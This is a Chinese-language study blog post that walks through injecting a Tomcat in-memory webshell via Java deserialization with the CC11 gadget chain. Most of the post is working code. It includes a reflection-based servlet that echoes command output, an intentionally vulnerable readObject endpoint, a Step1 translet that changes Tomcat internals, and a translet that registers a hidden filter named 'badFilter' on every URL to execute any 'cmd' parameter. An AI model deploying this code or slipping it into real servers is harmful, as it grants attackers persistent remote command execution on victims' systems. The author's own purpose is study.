这篇写的比较潦草,差不多是记录思考过程,没有写的很细,公布出来意思是我已经学了这个知识点🤓🤏🏻一如既往不具有任何参考作用
参考
https://wjlshare.com/archives/1541
解决回显问题
本来用jsp可以直接获得request和response,但是现在使用反序列化的方式打进去,需要用到字节码,需要想办法获得一个request对象。
大概思路就是找到一个静态的,在applicationChain里面,lastServicedRequest和lastServicedResponse,都是静态变量

代码里面有一个地方会把request和response存进去,抛开前面一些if判断限制,进入到里面,我们可以将 response 从 lastServicedResponse 中取出来,然后将我们命令执行的结果直接写在 response 里面就可以了
碍于前面有些限制,需要有两次访问,第一次接触限制,用反射把field,第二次进入if里面的语句,取出我们要的response
现在写一个echo文件,设置一个servlet,访问/echo的时候触发内容
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 
 | import javax.servlet.ServletException;import javax.servlet.ServletRequest;
 import javax.servlet.ServletResponse;
 import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.Writer;
 import java.lang.reflect.Field;
 import java.lang.reflect.Modifier;
 
 @WebServlet("/echo")
 @SuppressWarnings("all")
 public class Echo extends HttpServlet {
 @Override
 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
 try{
 Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
 Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
 WRAP_SAME_OBJECT_FIELD.setAccessible(true);
 
 Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
 f0.setAccessible(true);
 f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers() &~Modifier.FINAL);
 
 Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
 Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
 Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
 lastServicedRequestField.setAccessible(true);
 lastServicedResponseField.setAccessible(true);
 f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers() &~Modifier.FINAL);
 f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers() &~Modifier.FINAL);
 
 ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
 ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);
 
 String cmd = requestThreadLocal!=null ? requestThreadLocal.get().getParameter("cmd"):null;
 
 if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || requestThreadLocal == null || requestThreadLocal == null){
 WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
 
 lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
 lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
 }else if(cmd != null){
 InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
 StringBuilder sb = new StringBuilder("");
 byte[] buffer = new byte[1024];
 int line = 0;
 while ((line = inputStream.read(buffer)) != -1) {
 sb.append(new String(buffer,0,line));
 }
 Writer writer = responseThreadLocal.get().getWriter();
 writer.write(sb.toString());
 writer.flush();
 
 
 } catch (Exception e){
 e.printStackTrace();
 }
 }
 
 @Override
 protected  void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
 this.doGet(request, response);
 }
 }
 
 | 
第一次访问的时候用反射把WRAP_SAME_OBJECT改 为 true,第二次进入applicationChain的时候就可以进入lastServcieRequest.set()方法取出request
漏洞复现
我们要发送两个反序列化数据,第一次Step1修改WRAP_SAME_OBJECT之类的值,第二次的数据里面包含我们的恶意filter,类似之前的FIltershell文件内容,获取servlet之类的流程。。。现在这两个恶意class类比成之前的Calc.calc,替换到cc11链里面的内容,分别作为字节码结合到cc11里面,生成新的反序列化数据,发给服务器。服务器readObject后自动实现代码,其中就包括反射修改值和注册恶意filter,后面就没有他们的事情了
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 
 | import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.ObjectInputStream;
 
 @WebServlet("/cc")
 public class CCServlet extends HttpServlet {
 @Override
 protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
 InputStream inputStream = (InputStream) req;
 ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
 try {
 objectInputStream.readObject();
 } catch (ClassNotFoundException e) {
 e.printStackTrace();
 }
 resp.getWriter().write("Success");
 }
 
 @Override
 protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
 InputStream inputStream = req.getInputStream();
 ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
 try {
 objectInputStream.readObject();
 } catch (ClassNotFoundException e) {
 e.printStackTrace();
 }
 resp.getWriter().write("Success");
 }
 }
 
 | 
Step1的作用就是反射修改 现在来看TomcatInject的思路
TomcatInject要实现
- 有一个恶意filter(doFilter)
- 获取getServletContext(在step1获取好,这次直接调用)
- 思路和之前的filtershell应该是很像的,通过获取filterconfig,filtermap,servletcongtext这些去把恶意filter添加到服务器全局的filterChain里面
- 有一个生命周期(start)管理
- 设置好filter后用filterstart启动
step1代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 
 | import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
 public class Step1  extends AbstractTranslet {
 
 static {
 try {
 
 
 Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
 java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
 java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
 modifiersField.setAccessible(true);
 modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
 f.setAccessible(true);
 if (!f.getBoolean(null)) {
 f.setBoolean(null, true);
 }
 
 
 c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
 f = c.getDeclaredField("lastServicedRequest");
 modifiersField = f.getClass().getDeclaredField("modifiers");
 modifiersField.setAccessible(true);
 modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
 f.setAccessible(true);
 if (f.get(null) == null) {
 f.set(null, new ThreadLocal());
 }
 
 
 f = c.getDeclaredField("lastServicedResponse");
 modifiersField = f.getClass().getDeclaredField("modifiers");
 modifiersField.setAccessible(true);
 modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
 f.setAccessible(true);
 if (f.get(null) == null) {
 f.set(null, new ThreadLocal());
 }
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
 
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
 throws TransletException {
 
 }
 
 }
 
 | 
对比之前落地的内存马注入解决方案,这里还需要有生命周期管理,管理”state”
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 
 | import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import org.apache.catalina.Lifecycle;
 import org.apache.catalina.LifecycleState;
 import org.apache.catalina.core.ApplicationContext;
 import org.apache.catalina.core.ApplicationFilterConfig;
 import org.apache.catalina.core.StandardContext;
 import org.apache.tomcat.util.descriptor.web.FilterDef;
 
 import javax.servlet.*;
 import javax.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.io.InputStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.EnumSet;
 import java.util.Map;
 import java.util.Scanner;
 
 public class tryInject extends AbstractTranslet implements Filter {
 private final String cmdParamName = "cmd";
 private final static String filterUrlPattern = "/*";
 private final static String filterName = "badFilter";
 
 static {
 try {
 ServletContext servletContext = getServletContext();
 
 if (servletContext != null) {
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 
 Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
 stateField.setAccessible(true);
 LifecycleState originalState = (LifecycleState) stateField.get(standardContext);
 stateField.set(standardContext, LifecycleState.STARTING_PREP);
 
 Filter filter = new tryInject();
 
 FilterDef filterDef = new FilterDef();
 filterDef.setFilter(filter);
 filterDef.setFilterName(filterName);
 filterDef.setFilterClass(filter.getClass().getName());
 standardContext.addFilterDef(filterDef);
 
 Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
 Constructor<?> declaredConstructorMap = FilterMap.getDeclaredConstructor();
 org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructorMap.newInstance();
 
 filterMap.addURLPattern(filterUrlPattern);
 filterMap.setFilterName(filterName);
 filterMap.setDispatcher(DispatcherType.REQUEST.name());
 standardContext.addFilterMapBefore(filterMap);
 
 stateField.set(standardContext, originalState);
 
 Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
 filterStartMethod.setAccessible(true);
 boolean result = (Boolean) filterStartMethod.invoke(standardContext);
 
 if (result) {
 System.out.println("Filter injection success");
 } else {
 System.out.println("Filter injection failed in filterStart");
 }
 } else {
 System.out.println("ServletContext is null");
 }
 
 } catch (Exception e) {
 System.out.println("Filter injection failed: " + e.getMessage());
 e.printStackTrace();
 }
 }
 
 private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
 ServletContext servletContext = null;
 
 try {
 Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
 Field lastServicedRequestField = c.getDeclaredField("lastServicedRequest");
 lastServicedRequestField.setAccessible(true);
 ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
 
 if(threadLocal != null && threadLocal.get() != null){
 ServletRequest servletRequest = (ServletRequest) threadLocal.get();
 servletContext = servletRequest.getServletContext();
 }
 } catch (Exception e) {
 
 }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 return servletContext;
 }
 
 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 
 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 
 }
 
 @Override
 public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
 System.out.println("do恶意Filter操作");
 HttpServletRequest req = (HttpServletRequest) request;
 String cmd = req.getParameter(cmdParamName);
 if (cmd != null && !cmd.isEmpty()) {
 try {
 Process process = Runtime.getRuntime().exec(cmd);
 java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
 new java.io.InputStreamReader(process.getInputStream()));
 StringBuilder stringBuilder = new StringBuilder();
 String line;
 while ((line = bufferedReader.readLine()) != null) {
 stringBuilder.append(line + '\n');
 }
 response.getOutputStream().write(stringBuilder.toString().getBytes());
 response.getOutputStream().flush();
 response.getOutputStream().close();
 return;
 } catch (Exception e) {
 response.getWriter().write("Command execution failed: " + e.getMessage());
 return;
 }
 }
 chain.doFilter(request, response);
 }
 
 @Override
 public void destroy() {
 
 }
 }
 
 | 
然后有分别生成两个字节码,套到CC11里面,生成一串payload发给漏洞环境就能成功注册内存马